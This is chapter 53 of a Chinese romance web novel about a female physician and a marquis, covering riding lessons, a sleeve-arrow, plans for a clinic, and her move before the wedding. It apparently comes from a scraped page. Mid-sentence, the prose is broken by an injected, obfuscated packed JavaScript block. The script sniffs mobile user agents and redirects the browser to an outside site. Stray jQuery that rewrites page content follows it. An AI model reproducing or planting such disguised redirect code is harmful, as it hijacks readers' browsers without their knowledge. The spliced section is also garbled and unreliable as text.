53. 第五十三章

作品:《温柔医娘驯疯侯

    季衡耐心为她装绑好袖箭,将指环戴好,扶着她伸直手臂。


    “收手指。”


    栗岫云依言照做,手刚用力,刷的一声,一枚箭簇便应声钉入车壁中。


    “做得很好。”季衡略起身,拔下箭簇,又回到她身旁。


    栗岫云摸着手臂上的袖箭,前几日未能问出口的疑问,再次浮上心头。


    栗岫云仰头看他。


    “为何给我这个?”


    “防身。”季衡捏着那支箭簇,朗然一笑,“你生得这般容色,又常在外奔走行医,京中鱼龙混杂,难免遇到不轨之徒。多一样防身之物,我也能多一分安心。”


    他前几日才说过对她无所保留,这骑马、袖箭的教导,分明藏着隐情。


    他不说,她只能猜。


    “是因为卢长明?”


    季衡听到这名字的瞬间,眸光一闪,用手捂住她的嘴,似乎是在说玩笑话:“休要提这腌臜蠢才之名,简直污了你这漂亮的嘴。”


    这反应已然是默认。


    可不等她再追问,马车已稳稳停在侯府门前,车外传来仆从恭敬的通报声,硬生生打断了她的话头。


    ……


    栗岫云不在这几日,季凌已经回了江家。


    有了闲暇,栗岫云便继续整理资料和病案。


    这次照料世子夫人,她意识到一个新问题。


    从前,她只需要完成手术部分即可,如今还要承担护士的职责,之前在东阳县时,便有些分身乏术,若将来在京中立足,病人一多,她肯定照顾不过来。


    她还是更想精进医术,做些突破性的研究,若是在最基础的护理部分浪费太多精力和时间,只会难有寸进。


    好在之前教导临娘护理之法时,她已整理出一套详尽的教材,如今正好派上用场。


    她寻来程青青商议:“咱们这医馆也得准备起来,等医馆正式开业,咱们招几个稳妥的女学徒吧。一来能帮着分担护理琐事,让我能专心诊病;二来也能给穷苦人家的姑娘谋条生路,她们日子过得艰难,定能静下心来学本事。”


    程青青闻言连连点头,眼中满是赞同:“这主意好!咱们既救死扶伤,又能帮衬旁人,倒是件两全其美的事。”


    两人正低头细算着所需银钱与章程,季衡的脚步声已从院外传来。


    季衡听她说了想招学徒,又惊又喜。


    惊的是她还有这份兼济天下的仁义,喜的是,如此一来,她不用那么辛苦,便有更多时间陪他了。


    此事他必须大力支持,略一沉吟便笑道:“此事简单,我让管事先带青青去看看铺面,内城有几处闲置的宅子,位置便利,改造成医馆正合适。”


    栗岫云闻言也动了兴致,起身便要同去,却被季衡伸手拦下。


    他假模假样地嗔怨:“开医馆固然重要,但铺子又不会跑,你是不是还有更重要的事操心?”


    栗岫云抿唇一笑:“侯爷不是事无巨细早就安排妥当了,还需我操心什么?只管大红嫁衣穿上便是。”


    “骑马之事可不能半途而废。”季衡握着她的手腕,“今日可得好好检验一番,上次教你的本事还记不记得。”


    一听要学骑马,栗岫云十万个不乐意,挣脱他的手便往椅子上坐:“我不去,大暑天里晒着太阳骑马,不如让我多看两卷医书。”


    季衡握着椅子背,好整以暇看着她:“夫人这般聪慧,小小骑马定不在话下。”


    栗岫云不理会他的追捧,抚了抚袖口:“这和聪不聪慧无关,我不喜欢。”


    季衡俯身:“学会了,再说喜不喜欢,好不好?”


    栗岫云侧头看他:“我若坚持不去呢?”


    季衡闻言颔首,眸中闪过一丝狡黠,不等她反应,便一弯腰,胳膊从她腿弯处穿过,稳稳将她打横抱起。


    上次这样抱她,还是在东明县的时候。


    彼时她死命挣扎,害他一个不注意把人摔到地上。


    这次她倒没挣扎,只是伸手狠狠揪住了他的耳朵,愤愤道:“我去便是了!快放我下来,让人看见了像什么样子!”


    季衡吃不住痛,方将人放下,便见着那道倩影提着裙摆,气呼呼走远了。


    马场内,溜达了两圈,栗岫云也渐渐和马适应了。


    昨日没得到答案的问题,自然再次提上日程。


    “所以,教我骑马、给我袖箭,确实和卢长明有关,对不对?”


    季衡正帮她调整缰绳的长度,闻言动作一顿,随即若无其事地打岔:“就是骑着玩,等你学会了,我带你去草场上跑,你要是喜欢,打马球也试试。”


    “季衡。”栗岫云猛地勒住缰绳,语气骤然沉了下来,冷喝一声,“你再不说实话,我便真的不理你了。”


    “好好好,夫人莫气恼。”季衡见她真的动了怒,连忙举手投降,神色难得有了几分凝重。


    “的确和那逆贼有关。”


    “逆贼?”栗岫云瞠然,“他到底是什么人?”


    “一个背主求荣的卖国贼。”


    “他背叛了你?”


    季衡却没有回答。


    栗岫云坐在马背上,实在看不清他的表情,只觉得他肩膀僵硬了片刻。


    他抬手拍了拍马脖子,仰头对她笑道:“云儿,我放了缰绳,你自己遛马试试。”


    栗岫云按他教的方式,轻轻控制着马儿溜达,很快把季衡留在身后。


    他又在试图把这茬略过去,她知道即使自己再继续追问,也得不到想要的答案,索性不问了。


    为什么对卢长明如此讳莫如深?


    溜达到马场边缘,她调转马头,往凉棚的方向走回去。


    她虽然不乐意骑马,但真跨上马又特别认真,只是两天时间,已经可以控马了。


    季衡叉腰站在凉棚前,看着一人一马缓步而来,一席浅碧色在阳光下泛着盈盈柔光,宛如荒野中的一片绿地,在暑日里,清凉润脾。


    这样的美人在身旁,多么美好的事,为何要让那糟心的人来煞风景。


    马至身前,他伸手去扶她下马,随即打开折扇为她扇风,眼神沉溺:“骑得越来越有模样了,再练习两日,便可以纵马驰骋了。”


    栗岫云不回话,掏出帕子擦汗,三步并两步躲到凉棚的阴凉下,接过绿珮奉来的温茶,很是不满:“大暑日里让人骑马,简直可以纳入酷刑之列。我看你分明是故意折磨我。”


    “冤枉,冤枉。”季衡连忙跟上,手上的扇子扇得更卖力了,偏头瞧着她喝茶的模样,眼底满是笑意。


    “今儿就到这里,我让厨房给你做了冰圆子,还有冰酥酪,冰好的水果也有,你吃了,保证凉凉爽爽的。”


    “那还等什么?绿珮,咱们走。”栗岫云闻言大喜,放下杯子即刻就走。


    ……


    距离婚期仅剩一个月,按照京中习俗,义女出嫁需在义母家中待嫁,一来彰显义亲之情,二来也便于庄夫人教导她侯府的规矩礼仪。


    这日,侯府的奴仆在绿环的指挥下,将几大箱笼的衣物、书籍、医具装车,准备随栗岫云一同迁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133462|193028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    往严家。


    栗岫云与程青青坐在院子里的花架下纳凉,喝着冰镇的酸梅汤。


    程青青前几日同管事去看了内城的铺子,位置是很好,繁华富庶,往来皆是达贵。


    可正因如此,她反倒有些犯怵:“云姐姐,内城的铺子是好,可日后接诊的都是权贵人家,我这性子素来散漫,万一哪句话说得不妥当,得罪了人可就麻烦了。”


    栗岫云抿了口酸梅汤,沉吟道:“我也正有此意。内城非富即贵,穷苦人家的姑娘哪能轻易进来?倒与我的初衷相悖了。”


    两人商议半晌,终是决定趁着在严家待嫁的这一个月,去外城找找合适的铺面。


    外城市井繁华,百姓聚居,既便于招徕普通病患,也容易找到符合要求的学徒。


    入住严家的日子倒也顺遂。


    庄夫人特意为她收拾了一座独立的小院,院中种满了茉莉与栀子,清香宜人。


    另派了两个稳妥的婆子、六个手脚伶俐的丫鬟伺候,特意嘱咐她,若是合心意,日后便可带去侯府做陪嫁。


    几个仆从知道将来是在侯府夫人院里当差,都百般殷勤讨她的好。


    栗岫云记不住那么多人,尽量表露出一碗水端平的态度,生怕若是太过偏爱某个人,引发其他丫鬟婆子的嫉妒,生出不必要的是非。


    等到入住的一应杂事理清、该见的人都见过后,已经是五日后了。


    自打入严府起,每日里,晨起就按照严家的规矩,跟着两个未出阁的小妹妹一起去给庄夫人请安。


    晌午后日头毒,便在房里同程青青查看牙婆送来的铺面资料。


    京城偌大,找个合心意的铺子说难不难,说易不易。


    难的是外城人流量大,好位置的铺面租金高昂,且不轻易转让。


    易的是她们目标明确,既要靠近居民区,便于百姓就诊,又要远离嘈杂的集市,保证医馆清静。


    此外,还需考虑铺面的格局,要有接诊的大堂、诊脉的内室、方便手术的静室、存放药材的库房,最好还能有学徒居住的偏院。


    两人按着这个标准,在十来家铺子里精挑细选着。


    程青青一边选着,手也不停下,连吃了两碗冰酪。


    栗岫云劝她:“大晚上,少吃些冷的,对脾胃不好。”


    程青青只讷讷一笑,吞下最后一口:“想着姐姐进了侯府,不能常吃到这些美食,就忍不住贪嘴了些。”


    栗岫云拿扇子轻敲她头:“侯府那么大,还差你这间屋不成?你想吃什么,什么时候吃,只管叫绿珮做便是。”


    程青青摇摇头:“侯府是你的家,可不是我的家,我想好了,以后就和学徒们住在医馆,也好有个照应。”


    金窝银窝,不如自家的草窝,青青的顾虑也不无道理。


    栗岫云摇了摇扇子,点了点头笑道:“那日后,我让绿珮做好,每日给你带来,现下就别贪嘴了。”


    程青青大笑:“好,谨遵听栗郎中嘱托,少吃冷食,多多睡觉。”


    话音刚落,窗外倏然响动,一声凄厉的猫叫撕破夏夜的虫鸣,尤为刺耳。


    “是猫儿在打架吗?”程青青叹了一句。


    但声音很快消散,虫鸣再次喧嚣。


    栗岫云心有疑惑,等到程青青回房后,才摇着扇子走到方才声音传来的地方。


    窗沿下放着两丛茉莉花,初看时并无不妥,细看时,有一新鲜的断枝。


    啪——黑子落下。


    “忠平,你既担忧她,何必出此下策?”